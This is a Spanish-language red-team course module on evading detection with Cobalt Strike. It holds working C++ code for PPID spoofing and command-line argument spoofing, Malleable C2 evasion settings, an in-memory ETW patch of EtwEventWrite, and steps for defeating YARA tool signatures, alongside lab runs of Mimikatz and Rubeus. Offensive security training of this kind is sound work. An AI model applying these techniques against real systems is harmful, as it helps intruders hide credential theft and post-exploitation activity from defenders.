Defence Evasion
Post-Exploitation Behaviours & Memory Indicators
Cobalt Strike's post-exploitation commands pueden dividirse en 4 categorías generales:
- House-Keeping. Estos comandos configuran una opción en Beacon, como
sleepyjobs, o hacen algo en la UI, comoclear,helpynote. No ordenan a Beacon realizar una acción ejecutable. - API Only. Estos comandos están integrados directamente en el payload de Beacon utilizando Windows APIs. Ejemplos incluyen
cd,cp,ls,make_tokenyps. - Inline Execution. Estos comandos están implementados como Beacon Object Files (BOFs) que se envían a Beacon por el canal C2 y se ejecutan dentro del proceso de Beacon.
jump psexec/64/pshyremote-exec psexec/wmise encuentran en este grupo. - Fork and Run. Estos comandos inician un proceso temporal y se inyecta un post-exploitation DLL en él. La capacidad se ejecuta y cualquier salida se captura a través de un named pipe.
execute-assembly,powerpickymimikatzusan este patrón.
También existen comandos que inician cmd.exe (shell) y powershell.exe (jump winrm/64, remote-exec winrm) por diseño, así como comandos que inician procesos arbitrarios (run, execute).
Para obtener una lista completa de qué comando pertenece a cada categoría, revisa esta página. Este módulo intentará abordar las consideraciones OPSEC de varios comandos dentro de cada categoría y proporcionar formas de contrarrestarlas.
Memory Permissions & Cleanup
Hay muchas acciones dentro de los flujos de trabajo de Beacon que requieren nuevas asignaciones de memoria. En el módulo anterior, donde escribimos process injectors, nuestras asignaciones de memoria se hacían con permisos RWX. Dependiendo de qué tan de cerca hayas inspeccionado la memoria después de que se ejecutó el shellcode, tal vez notaste dos regiones RWX presentes al final.
Muchos productos defensivos generan alertas en regiones de memoria RWX dentro de un proceso nativo por considerarlas potencialmente maliciosas, así que queremos evitarlas cuando sea posible.
La razón por la que terminamos con dos asignaciones de memoria es porque Beacon en realidad está implementado como un DLL y se utiliza una técnica llamada reflective DLL injection para cargarlo en memoria. Siempre que generamos shellcode de Beacon, en realidad estamos recibiendo el Beacon DLL, más un componente de reflective loader. El reflective loader predeterminado de Cobalt Strike se basa en ReflectiveDLLInjection de Stephen Fewer.
La función del reflective loader es mapear el Beacon DLL en memoria de manera similar a como lo haría el cargador estándar de Windows si se llamara a una API como LoadLibrary. Esto implica asignar nueva memoria, mapear los PE headers, sections, import table y relocations. Una vez que el DLL se ha mapeado, se llama a su entry point, lo cual inicia el Beacon payload real.
Entonces, en este caso, una región RWX es asignada por el injector y la otra RWX por el reflective loader.
Verás asignaciones similares si generas un payload EXE normal en Cobalt Strike. Cada artifact de payload hace lo mismo, que es inyectar y ejecutar el reflective loader. La única diferencia en este ejemplo es que el EXE artifact predeterminado asigna memoria para el reflective loader como RW primero y luego cambia a RX. La asignación de memoria hecha por el reflective loader sigue siendo RWX.
Las dos principales preguntas aquí son:
- ¿Podemos evitar que el reflective loader use memoria RWX para Beacon?
- ¿Podemos eliminar el reflective loader de memoria una vez que Beacon se está ejecutando?
La respuesta es, por supuesto, "sí" y se exponen bastante fácil en Malleable C2.
stage {
set userwx "false";
set cleanup "true";
}
Establecer userwx en false indicará al reflective loader que asigne la memoria para Beacon como RW primero y luego la pase a RX. Establecer cleanup en true instruye a Beacon a intentar descargar el reflective loader de memoria.
Cierra y reinicia el team server con el perfil actualizado y regenera tus payloads. Beacon ahora se ejecutará en una región de memoria RX.
BOF Memory Allocations
Al igual que el reflective loader predeterminado, las nuevas asignaciones de memoria para BOFs se hacen como RWX. Podemos ver esto si ejecutamos un BOF que se bloquee deliberadamente para darnos tiempo de inspeccionar la memoria en Process Hacker. Crea un nuevo directorio y un archivo llamado bof.c, luego añade el siguiente código:
El archivo de encabezado de Beacon puede pegarse desde el cobalt-strike BOF repo o copiarse de uno de los Arsenal Kits, por ejemplo en C:\Tools\cobaltstrike\arsenal-kit\kits\process_inject\src\beacon.h.
Los BOFs pueden compilarse en Windows o Linux/WSL.
En Windows, abre un VS Developer Command Prompt y usa cl.exe.
C:\Users\Attacker\Desktop\test-bof>cl.exe /c /GS- bof.c /Fobof.o
En WSL, usa mingw.
attacker@DESKTOP-3BSK7NO /m/c/U/A/D/test-bof> x86_64-w64-mingw32-gcc -c bof.c -o bof.o
En ambos casos, se produce bof.o, que puede ejecutarse en Beacon usando inline-execute.
beacon> inline-execute C:\Users\Attacker\Desktop\test-bof\bof.o
Durante la ejecución, encontrarás una región RWX que contiene el BOF.
Además, una vez que el BOF haya finalizado y Beacon vuelva a hacer check in, esta región RWX se habrá puesto en cero, pero la región en sí permanece.
Esto sucede porque Beacon prefiere reutilizar memoria para BOFs en lugar de asignar y liberar memoria cada vez. Estos comportamientos se pueden anular en Malleable C2.
process-inject {
set startrwx "false";
set userwx "false";
set bof_reuse_memory "false";
}
Configurar startrwx como false indica a Beacon que asigne memoria para BOFs como RW, en lugar de RWX. Configurar userwx como false indica a Beacon que establezca la memoria en RX antes de la ejecución. Configurar bof_reuse_memory como false indica a Beacon que libere la memoria de BOFs después de la ejecución.
Debido a que estas directivas están dentro del bloque process-inject, también afectan a otros comandos de "injection" como inject, shinject y shspawn.
Fork and Run Memory Allocations
Las capacidades de post-ex más grandes están implementadas como Windows DLLs. Para ejecutarlas, se emparejan con un reflective loader y se inyectan en un proceso como shellcode. Los comandos fork and run tienen dos variantes que se describen en la documentación de Cobalt Strike como "process injection spawn" y "process injection explicit". El método "spawn" inicia un proceso temporal (controlado por la configuración spawnto) y el post-ex DLL se inyecta en él. En lugar de crear un nuevo proceso, el método "explicit" inyecta el DLL en un proceso que ya se está ejecutando.
El bloque process-inject que se mencionó en la sección anterior también controla el paso de inyección de estos comandos fork and run. Sin embargo, existen algunas configuraciones adicionales que podemos usar en el bloque post-ex para hacer esto un poco más seguro en términos de OPSEC.
Antes de hacer cambios, ejecuta Mimikatz y haz que se quede en sleep el tiempo suficiente para inspeccionar la memoria del proceso temporal.
beacon> mimikatz standard::sleep 60000
Veremos dos grandes regiones RWX: una es el reflective loader y la otra es Mimikatz en sí.
Hay dos opciones que podemos agregar en Malleable C2:
post-ex {
set obfuscate "true";
set cleanup "true";
}
La opción obfuscate es una combinación de las opciones obfuscate y userwx del bloque stage de Beacon. Ofuscará el reflective DLL al cargarlo en memoria y lo hará usando permisos de memoria RW/RX en lugar de RWX. La opción cleanup intentará liberar el reflective loader de memoria después de haber cargado el post-ex DLL. Esta opción es especialmente importante al usar el patrón "explicit" de fork and run; de lo contrario, quedarían instancias del reflective loader en la memoria de esos procesos.
Al ejecutar Mimikatz con estos cambios, solo se mostrará una región RX. Su tamaño también es bastante menor porque la opción obfuscate elimina contenido no utilizado, como los DLL headers.
Observa que la región de memoria sigue sin vincularse a un módulo en disco y actualmente no existe una opción en Malleable C2 para ejecutar comandos fork and run usando module overloading.
SpawnTo
El valor spawnto de Cobalt Strike controla qué binario se usa como proceso temporal en los comandos fork and run. Si ejecutamos mimikatz desde un Beacon y revisamos los procesos en ejecución, veremos que rundll32 se inicia como hijo del proceso Beacon actual.
beacon> mimikatz standard::coffee
[*] Tasked beacon to run mimikatz's standard::coffee command
[+] host called home, sent: 813682 bytes
[+] received output:
( (
) )
.______.
| |]
\ /
`----'
Este es el spawnto predeterminado de Cobalt Strike y casi siempre se marca como malicioso cuando se inicia desde un proceso userland. Probablemente también encuentres que Defender mata tu Beacon durante o después de la ejecución. Esto es una detección de comportamiento y no se elude con bypasses AMSI en Beacon.
Puedes cambiar el binario spawnto de un Beacon individual en tiempo de ejecución con el comando spawnto. Existe una configuración separada para x86 y x64.
beacon> help spawnto
Use: spawnto [x86|x64] [c:\path\to\whatever.exe]
Sets the executable Beacon spawns x86 and x64 shellcode into. You must specify a
full-path. Environment variables are OK (e.g., %windir%\sysnative\rundll32.exe)
Do not reference %windir%\system32\ directly. This path is different depending
on whether or not Beacon is x86 or x64. Use %windir%\sysnative\ and
%windir%\syswow64\ instead.
Beacon will map %windir%\syswow64\ to system32 when WOW64 is not present.
La idea es elegir otro binario que no resulte tan extraño para el contexto actual de Beacon. A modo de ejemplo, cambiémoslo a notepad.
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> mimikatz standard::coffee
Esta vez, Beacon sobrevivirá.
No hay nada especial sucediendo aquí: Beacon utiliza la API CreateProcessA para iniciar cualquier spawnto que se haya configurado. Si deseas establecer el spawnto predeterminado en tu C2 profile, puedes hacerlo en el bloque post-ex.
post-ex {
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
}
Process Inject Kit
Los comandos fork & run tienen dos variantes que la documentación de Cobalt Strike describe como "process injection spawn" y "process injection explicit". La variante mostrada en la sección anterior fue "spawn", donde el comando inicia un proceso temporal (controlado por la configuración spawnto) y la capacidad de post-ex se inyecta en él. En lugar de iniciar un proceso nuevo, el método "explicit" inyecta la capacidad de post-ex en uno que ya está en ejecución.
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
6080 6404 notepad.exe x64 2 DESKTOP-3BSK7NO\Attacker
beacon> mimikatz 6080 x64 standard::coffee
( (
) )
.______.
| |]
\ /
`----'
Beacon tiene dos APIs internas responsables de estos comportamientos, llamadas BeaconInjectTemporaryProcess y BeaconInjectProcess. Se definen en beacon.h así:
void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
En versiones de Cobalt Strike anteriores a la 4.5, las APIs reales utilizadas para controlar el "estilo" de process injection solo podían controlarse en el malleable C2 profile, y estaban algo limitadas en cuanto a las opciones. El Process Inject Kit se introdujo como un método para permitir a los operadores escribir sus propias implementaciones personalizadas como un BOF.
Puede encontrarse en C:\Tools\cobaltstrike\arsenal-kit\kits\process_inject. El directorio src contiene process_inject_spawn.c y process_inject_explicit.c, que controlan cada variante de fork & run. Modificar el kit es tan simple como reemplazar ese código predeterminado con tus propios métodos de inyección, aunque todavía es buena idea usar las APIs internas de Beacon como respaldo en caso de que tus métodos personalizados fallen.
Se puede compilar desde WSL.
attacker@DESKTOP-3BSK7NO /m/c/T/c/a/k/process_inject> ./build.sh /mnt/c/Tools/cobaltstrike/custom-injection
[Process Inject kit] [+] You have a x86_64 mingw--I will recompile the process inject beacon object files
[Process Inject kit] [*] Compile process_inject_spawn.x64.o
[Process Inject kit] [*] Compile process_inject_spawn.x86.o
[Process Inject kit] [*] Compile process_inject_explicit.x64.o
[Process Inject kit] [*] Compile process_inject_explicit.x86.o
[Process Inject kit] [+] The Process inject object files are saved in '/mnt/c/Tools/cobaltstrike/custom-injection'
Y el Aggressor script se carga en el cliente de CS.
PPID Spoofing
Al iniciar un proceso, este se ejecutará como hijo de quien lo llama; por eso vimos que rundll32 y notepad aparecen como hijos de PowerShell en el módulo anterior. La técnica "PPID spoofing" permite al caller cambiar el parent process para el proceso hijo que se genera. Por ejemplo, si nuestro Beacon está corriendo en powershell.exe, podemos generar procesos como hijos de un proceso totalmente distinto, como explorer.exe.
Esto ayuda a contrarrestar las detecciones que se basan en la relación padre/hijo, lo que es especialmente útil si tienes un Beacon corriendo en un proceso inusual (p.ej., a partir de un compromiso inicial, movimiento lateral u otro método de entrega de exploit), y los eventos de creación de procesos generarían alertas de alta severidad o serían bloqueados de inmediato.
El truco se realiza en la estructura STARTUPINFOEX, que tiene un miembro LPPROC_THREAD_ATTRIBUTE_LIST. Esto nos permite pasar atributos adicionales a la llamada CreateProcess. Los atributos en sí se enumeran aquí. Para los propósitos de PPID spoofing, el que nos interesa es PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
Info
El parámetro lpValue es un puntero a un handle a un proceso que se usará en lugar del proceso que llama como el padre. Este handle debe contar con el derecho de acceso PROCESS_CREATE_PROCESS.
Antes de ver cómo lo hace Cobalt Strike, hagámoslo por nuestra cuenta en código.
Declaramos una constante para la cantidad deseada de atributos; como solo utilizaremos el atributo de parent process, este valor será 1. También creamos la estructura STARTUPINFOEX.
La attribute list en sí se almacenará en un buffer que necesitamos asignar, pero no sabemos qué tan grande debe ser. Su tamaño requerido dependerá de la cantidad de atributos. La API InitializeProcThreadAttributeList proporcionará el tamaño correcto si pasamos NULL como lpAttributeList.
Después de esta llamada, lpSize tendrá un valor que podemos usar para asignar el buffer. Luego se vuelve a llamar a InitializeProcThreadAttributeList con un puntero a dicho buffer.
El siguiente paso es abrir un handle al proceso que deseamos usar como padre y luego llamar a UpdateProcThreadAttribute para actualizar la lista.
CreateProcess se puede llamar especificando la flag EXTENDED_STARTUPINFO_PRESENT. También imprimimos el PID para que podamos verificarlo en Process Hacker.
Después de que el proceso haya sido generado, realizamos algo de limpieza. DeleteProcThreadAttributeList elimina la attribute list y luego liberamos la memoria asignada con malloc. También recuerda cerrar el handle del proceso padre.
Complete code:
#include <Windows.h>
#include <iostream>
int main()
{
const DWORD attributeCount = 1;
LPSTARTUPINFOEXW si = new STARTUPINFOEXW();
si->StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T lpSize = 0;
// call once to get lpSize
InitializeProcThreadAttributeList(
NULL,
attributeCount,
0,
&lpSize);
// allocate the memory
si->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(lpSize);
// call again to initialise the list
InitializeProcThreadAttributeList(
si->lpAttributeList,
attributeCount,
0,
&lpSize);
// open a handle to the desired parent
HANDLE hParent = OpenProcess(
PROCESS_CREATE_PROCESS,
FALSE,
5584); // hardcoded pid of explorer
// update the list
UpdateProcThreadAttribute(
si->lpAttributeList,
NULL,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL);
// create process
PPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
wchar_t cmd[] = L"notepad.exe\0";
CreateProcess(
NULL,
cmd,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&si->StartupInfo,
pi);
// print the pid
printf("PID: %d\n", pi->dwProcessId);
// cleanup list and memory
DeleteProcThreadAttributeList(si->lpAttributeList);
free(si->lpAttributeList);
// close handle to parent
CloseHandle(hParent);
}
Para establecer el parent PID de los comandos fork and run de Beacon, utiliza el comando ppid.
beacon> help ppid
Use: ppid [pid]
Use specified PID as parent for processes Beacon launches. The runas command
is not affected, but most other commands are.
Type ppid by itself to reset to default behavior.
WARNING: Do not specify a parent PID in another desktop session. This may
break several of Beacons features and workflows. Use runu if you want to run
a command under a parent in another desktop session.
El PPID spoofing es especialmente efectivo cuando se combina con spawnto. Observa el siguiente listado de procesos:
Tengo un Beacon corriendo en PID 10720 y msedge corriendo como PID 5056, el cual a su vez tiene muchos procesos hijo msedge. Al configurar spawnto y ppid para que coincidan con msedge, podemos integrar nuestro post-ex fork and run en este patrón.
beacon> spawnto x64 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
beacon> ppid 5056
beacon> mimikatz standard::coffee
( (
) )
.______.
| |]
\ /
`----'
En este caso, Mimikatz se ejecutó en PID 7092.
Command Line Argument Spoofing
Hasta ahora, nuestro uso de CreateProcess ha sido con argumentos de línea de comandos muy simples, pero la realidad es que suelen ser más complejos. Estas dos comparaciones muestran un proceso notepad creado por nosotros y otro lanzado a través de la interfaz estándar de Windows.
Si haces algo como powershell -c "Write-Host 'Hello World'" en un command prompt, los argumentos de línea de comandos se ven así:
Estas command line arguments pueden ser registradas por las soluciones de seguridad, que podrían alertar a un analista o a reglas automatizadas. Por ejemplo, Sysmon:
Command line spoofing es una técnica que puede ayudar a oscurecer los argumentos reales que un proceso ejecutó. Se logra iniciando un proceso en estado suspendido con un conjunto de argumentos "fake" que se registrarán como parte del evento de creación de proceso. Luego, accedemos a la memoria de ese proceso y reemplazamos los fake arguments con los argumentos reales que queremos ejecutar, y reanudamos el proceso.
Como antes, hagámoslo en código antes de ver cómo se implementa en Cobalt Strike.
Crea un proceso powershell y pásale algún oneliner aleatorio.
Para encontrar la ubicación del CommandLine Buffer en memoria, primero necesitamos obtener un puntero al PEB. Podemos hacerlo usando NtQueryInformationProcess para solicitar los datos de PROCESS_BASIC_INFORMATION.
Luego leemos el PEB.
El miembro del PEB que nos interesa es ProcessParameters, que es un puntero a una estructura RTL_USER_PROCESS_PARAMETERS.
Esta estructura contiene los miembros ImagePathName y CommandLine, ambos son estructuras UNICODE_STRING. El tamaño del buffer se asigna según la longitud de los fake arguments con los que se inició el proceso. En este ejemplo, la longitud del buffer es de 132 bytes y la longitud de la cadena es de 130 bytes. Esto significa que los argumentos reales deben ser más cortos o del mismo tamaño que los fake arguments.
Antes de escribir los nuevos argumentos, vaciaré por completo el contenido del buffer.
Luego escribimos los argumentos reales en el buffer.
El paso final es simplemente reanudar el proceso y cerrar los handles.
Si ejecutamos la aplicación desde un command prompt, veremos "Hello World" impreso en la consola.
C:\Users\Attacker>C:\Users\Attacker\source\repos\Evasion\x64\Debug\ArgSpoof.exe
Hello World!
Pero el event log mostrará los fake arguments.
Complete code:
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
int main() {
auto si = new STARTUPINFOW();
si->cb = sizeof(STARTUPINFOW);
auto pi = new PROCESS_INFORMATION();
LPCWSTR application = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0";
// the "fake" arguments that we want logged
wchar_t fakeArgs[] = L"powershell.exe -c \"(Get-PSDrive $Env:SystemDrive.Trim(':')).Free/1GB\"\0";
// create process in suspended state
CreateProcess(
application,
fakeArgs,
nullptr,
nullptr,
FALSE,
CREATE_SUSPENDED,
nullptr,
nullptr,
si,
pi);
// get process basic information
auto pbi = new PROCESS_BASIC_INFORMATION();
NtQueryInformationProcess(
pi->hProcess,
ProcessBasicInformation,
pbi,
sizeof(PROCESS_BASIC_INFORMATION),
nullptr);
// read the PEB
PPEB peb = new PEB();
ReadProcessMemory(
pi->hProcess,
pbi->PebBaseAddress,
peb,
sizeof(PEB),
nullptr);
// read the process parameters
auto parameters = new RTL_USER_PROCESS_PARAMETERS();
ReadProcessMemory(
pi->hProcess,
peb->ProcessParameters,
parameters,
sizeof(RTL_USER_PROCESS_PARAMETERS),
nullptr);
auto szBuffer = parameters->CommandLine.Length;
// allocate temp buffer
auto tmpBuf = malloc(szBuffer);
RtlZeroMemory(tmpBuf, szBuffer);
// overwrite command line buffer
WriteProcessMemory(
pi->hProcess,
parameters->CommandLine.Buffer,
tmpBuf,
szBuffer,
nullptr);
// free tmp buffer
free(tmpBuf);
// write real arguments into buffer
wchar_t realArgs[] = L"powershell -c \"Write-Host Hello World\"";
WriteProcessMemory(
pi->hProcess,
parameters->CommandLine.Buffer,
&realArgs,
sizeof(realArgs),
nullptr);
// resume the process
ResumeThread(pi->hThread);
// close the handles
CloseHandle(pi->hThread);
CloseHandle(pi->hProcess);
}
Command line argument spoofing se controla en Beacon mediante el comando argue.
beacon> help argue
Use: argue [command] [fake arguments]
argue [command]
argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.
Aquí un ejemplo divertido usando cat facts:
beacon> argue powershell -c "Invoke-WebRequest -Uri 'https://catfact.ninja/fact' -UseBasicParsing | Select-Object -ExpandProperty 'Content' | ConvertFrom-Json | Select-Object -ExpandProperty fact"
Ahora, siempre que se use un comando powershell en Beacon, estos serán los fake arguments con los que se inicia el proceso.
beacon> powershell Write-Host "Hello World"
[*] Tasked beacon to run: Write-Host "Hello World"
Hello World
También es compatible con otros comandos, como run, lo que significa que puede usarse al ejecutar cualquier binario arbitrario en disco. Un ejemplo sencillo sería cambiar los argumentos de PING.EXE para que parezca que estamos probando la conexión a google.com, en lugar de una IP interna.
beacon> argue ping -n 5 google.com
beacon> run ping -n 5 127.0.0.1
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Ping statistics for 127.0.0.1:
Packets: Sent = 5, Received = 5, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
SMB Named Pipes Names
Beacon utiliza SMB named pipes de cuatro maneras principales:
- Obtener la salida de comandos fork and run como
execute-assemblyypowerpick. - Conectarse al SSH agent de Beacon (no es algo que usemos en el curso).
- El named pipe stager del SMB Beacon (tampoco se usa con frecuencia).
- Comms de C2 en el SMB Beacon en sí.
Sysmon event ID 17 (pipe created) y 18 (pipe connected) pueden usarse para detectar el nombre de pipe predeterminado que Beacon utiliza en estas situaciones.
El nombre de pipe predeterminado para los comandos post-ex es postex_####; el predeterminado para el SSH agent es postex_ssh_####; el predeterminado para el stager de SMB Beacon es status_##; y el predeterminado para el C2 principal de SMB Beacon es msagent_##. En cada caso, los # se reemplazan con valores hex aleatorios.
Ejecuta un comando fork and run:
beacon> powerpick Get-ChildItem
Y deberíamos obtener un evento como este (la imagen es el proceso spawnto):
Pipe Created:
EventType: CreatePipe
ProcessId: 4664
PipeName: \postex_7b88
Image: C:\Windows\system32\notepad.exe
Muchas configuraciones de Sysmon solo registran nombres de pipe específicos (conocidos), como los predeterminados usados en varias herramientas. Por lo tanto, cambiar los pipe names por algo aleatorio suele funcionar la mayoría de las veces. Algunos operadores eligen usar nombres que utilizan aplicaciones legítimas —un buen ejemplo es el pipe "mojo" que usa Google Chrome. Si tomas esta ruta, asegúrate de que tu ppid y spawnto coincidan con ese pretexto.
Las directivas pipename_stager y ssh_pipename en Malleable C2 son opciones globales (no forman parte de un bloque específico).
Para cambiar el pipe name usado en los comandos post-ex, usa la directiva set pipename en el bloque post-ex. Puede tomar una lista separada por comas, e incluir el carácter # para algo de aleatoriedad.
post-ex {
set pipename "totally_not_beacon, legitPipe_##";
}
Event Tracing for Windows
Event Tracing for Windows (ETW) proporciona un mecanismo para rastrear y registrar eventos generados por aplicaciones en modo usuario. SilkETW facilita enormemente el consumo de eventos ETW para todo tipo de propósitos ofensivos y defensivos. Sus mayores fortalezas (en mi opinión) son los formatos a los que puede exportar (URL, Windows Event Log, JSON) y su integración con YARA.
Un caso de uso popular es proporcionar introspección de .NET, es decir, detectar .NET assemblies en memoria. Veamos cómo puede detectar Rubeus. SilkETW viene preinstalado en el Attacker Desktop pero debemos encenderlo (está desactivado por defecto para no llenar el disco con logs). Ejecuta sc start SilkService y luego ejecuta Rubeus.
C:\Users\Attacker>C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
Cuando se carga un .NET assembly, el proveedor Microsoft-Windows-DotNETRuntime genera un evento llamado AssemblyLoad. Los datos que contiene son el nombre completo del assembly. Los logs de SilkETW se encuentran en Applications & Services Logs > SilkService-Log, pero es más fácil buscar usando PowerShell debido al volumen de eventos.
PS C:\Users\Attacker> $event = Get-EventLog -LogName SilkService-Log -Message *Rubeus* | select -Last 1 -ExpandProperty Message | ConvertFrom-Json
PS C:\Users\Attacker> $event.XmlEventData
AppDomainID : 0x2144a787430
BindingID : 0x0
ProviderName : Microsoft-Windows-DotNETRuntime
EventName : AssemblyLoad_V1
PID : 4380
AssemblyFlags : 0
AssemblyID : 0x2144a7e9530
TID : 4160
FullyQualifiedAssemblyName : Rubeus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
ClrInstanceID : 21
MSec : 422675.3523
PName :
Vemos claramente el nombre Rubeus assembly en este log.
Un método para evadir ETW es parchear la función EtwEventWrite exportada dentro de ntdll.dll. Esta investigación fue publicada por Adam Chester aquí y funciona igual que diversos AMSI bypasses (parcheando funciones en memoria). ¿Cómo lo integramos en el comando execute-assembly de Beacon? Desde la versión 4.8, se añadió una nueva capacidad "patch" específicamente para esto, que instruye a Beacon para realizar los parches de memoria dados en el proceso temporal antes de ejecutar la capacidad de post-ex. Los dos comandos que lo soportan son execute-assembly y powerpick.
La documentación proporciona, de forma un tanto vergonzosa, un ejemplo ETW:
beacon> help execute-assembly
Use: execute-assembly [/path/to/file.exe] [arguments]
Use: execute-assembly "[PATCHES: [patch-rule] [patch-rule] [patch-rule] [patch-rule]]" [/path/to/file.exe] [arguments]
Executes a local .NET process assembly on target. This command loads the CLR in a temporary
process and loads the assembly into it.
The optional "PATCHES:" argument can modify functions in memory for the process.
Up to 4 "patch-rule" rules can be specified (space delimited).
"patch-rule" syntax (comma delimited): [library],[function],[offset],[hex-patch-value]
library - 1-260 characters
function - 1-256 characters
offset - 0-65535 (The offset from the start of the executable function)
hex-patch-value - 2-200 hex characters (0-9,A-F). Length must be even number (hex pairs).
Examples: execute-assembly "PATCHES: ntdll.dll,EtwEventWrite,0,C300" [/path/to/file.exe] [arguments]
execute-assembly "PATCHES: ntdll.dll,EtwEventWrite,0,C3 ntdll.dll,EtwEventWrite,1,00" [/path/to/file.exe] [arguments]
[arguments]
Borra el log de SilkETW en el Event View y luego ejecuta Rubeus con el bypass ETW a través de Beacon.
beacon> execute-assembly "PATCHES: ntdll.dll,EtwEventWrite,0,C3 ntdll.dll,EtwEventWrite,1,00" C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
Esta vez, no habrá logs de Rubeus.
PS C:\Users\Attacker> Get-EventLog -LogName SilkService-Log -Message *Rubeus* | measure | select Count
Count
-----
0
Obviamente, tener que escribir o copiar/pegar los parches cada vez es algo incómodo, así que podríamos crear comandos personalizados en Aggressor para facilitarlo. Las dos funciones de Aggressor relevantes son bexecute_assembly y bpowerpick. Podemos básicamente pasar $1-3 del usuario, pero dejar los parches fijos en $4.
# $1 - the id for the beacon
# $2 - the cmdlet and arguments
# $3 - [optional] if specified, powershell-import script is ignored and this argument is treated as the download cradle to prepend to the command
# $4 - [optional] PATCHES
alias powerpick-patched {
bpowerpick($1, $2, $3, "PATCHES: ntdll.dll,EtwEventWrite,0,C3 ntdll.dll,EtwEventWrite,1,00");
}
beacon> execute-assembly-patched C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
Inline (.NET) Execution
El comando execute-assembly permite a los operadores cargar y ejecutar .NET assemblies en memoria, sin escribirlos en disco. Al ser fork and run, creará un proceso temporal, cargará y ejecutará el assembly dentro de él, luego leerá la salida a través de un named pipe. Los comandos fork and run son buenos porque protegen a Beacon de posibles crashes debido a herramientas de post-ex inestables, pero tienen un costo elevado. Dos desventajas importantes incluyen el evento de creación de proceso y la consiguiente inyección remota.
Generar un proceso conlleva todas las complicaciones relacionadas con la relación padre-hijo. Técnicas como PPID spoofing pueden ayudar, pero también tienen sus propias huellas de detección. Una vez que se ha iniciado el proceso con éxito, la capacidad de post-ex debe inyectarse en él. En la mayoría de los casos con Cobalt Strike, estos llegan como reflective DLLs adicionales que se inyectan en la memoria del proceso recién iniciado como shellcode. Esta inyección remota es difícil de lograr sin ser detectado por un buen AV y EDR, incluso si AMSI y ETW están silenciados.
Como alternativa, el equipo de desarrollo de Cobalt Strike introdujo BOFs para ejecutar código post-ex dentro del proceso de Beacon. Incluso reescribieron buena parte de sus propias implementaciones de comando para que en lugar de fork and run usen BOFs. Sin embargo, algunos comandos, incluido execute-assembly, siguen como fork and run.
@anthemtotheego escribió y publicó un BOF llamado InlineExecute-Assembly que permite cargar y ejecutar .NET assemblies dentro de Beacon, sin necesidad de fork and run. Carga el CNA ubicado en C:\Tools\InlineExecute-Assembly y el comando inlineExecute-Assembly estará disponible.
beacon> help inlineExecute-Assembly
Synopsis: inlineExecute-Assembly --dotnetassembly /path/to/Assembly.exe --assemblyargs My Args To Pass --amsi --etw
beacon> inlineExecute-Assembly --dotnetassembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe --assemblyargs klist --amsi --etw
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0x65a47
UserName : mdavis
Domain : ACME
LogonId : 0x65a47
UserSID : S-1-5-21-2006696020-36449419-3390662055-1104
AuthenticationPackage : Negotiate
LogonType : RemoteInteractive
LogonTime : 6/5/2023 9:11:34 AM
LogonServer : DC
LogonServerDNSDomain : ACME.CORP
UserPrincipalName : mdavis@acme.corp
...
[+] inlineExecute-Assembly Finished
Esto cargará el CLR en el proceso actual, lo cual podría detectarse como un evento de carga de imagen sospechoso dependiendo del proceso en el que se ejecute tu Beacon. También puedes cambiar los nombres de AppDomain y named pipe por defecto "totesLegit" usando las opciones --appdomain y --pipe.
beacon> inlineExecute-Assembly --dotnetassembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe --assemblyargs klist --amsi --etw --appdomain SharedDomain --pipe dotnet-diagnostic-1337
Tool Signatures
Te encontrarás con situaciones donde los escáneres en memoria pueden detectar herramientas conocidas basándose en firmas estáticas, incluso si otras partes de tu cadena de ejecución (ppid, spawnto, etc.) "coinciden". Por ejemplo, ejecutar SharpUp activará la alerta Windows.Hacktool.SharpUp.
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit
Podemos consultar reglas YARA públicas para hacernos una idea de qué firmas utilizan. Algunos de los proyectos GhostPack proporcionan un archivo de reglas YARA, como este para Rubeus. El archivo Windows_Hacktool_SharpUp.yar es el que queremos ver en este ejemplo.
Todas son string-based, lo que las hace muy fáciles de cambiar en el código fuente del proyecto. Un tip es revisar la condition de la regla para ver qué debe suceder para obtener un resultado positivo, ya que puede que no sea necesario cambiar todos los indicadores.
